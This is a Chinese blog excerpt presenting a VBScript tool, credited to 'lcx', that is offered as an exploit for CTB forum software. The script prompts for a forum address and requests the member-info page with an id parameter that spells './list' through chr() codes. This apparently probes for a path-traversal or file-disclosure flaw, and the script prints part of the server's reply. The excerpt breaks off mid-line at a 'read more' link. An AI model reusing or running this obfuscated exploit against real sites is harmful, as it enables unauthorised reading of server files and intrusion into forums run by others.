标签 ‘CTB’ 下的日志

ctb论坛利用程序vbs版

软件作者:lcx

url=inputbox("请输入ctb论坛地址,例http://www.col-e.net/ylj/ctb")
if url="" then
msgbox ("未输入地址")
wscript.quit
end if

Set oXMLHttpRequest = CreateObject("Msxml2.XMLHTTP")
oXMLHttpRequest.Open "GET", url&"/index.php?mods=member&action=info&id="&chr(46)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116), False, False
oXMLHttpRequest.Send
str=oXMLHttpRequest.ResponseText
Wscript.Echo replace(MID(str,instr 阅读全文 »

Tags: ,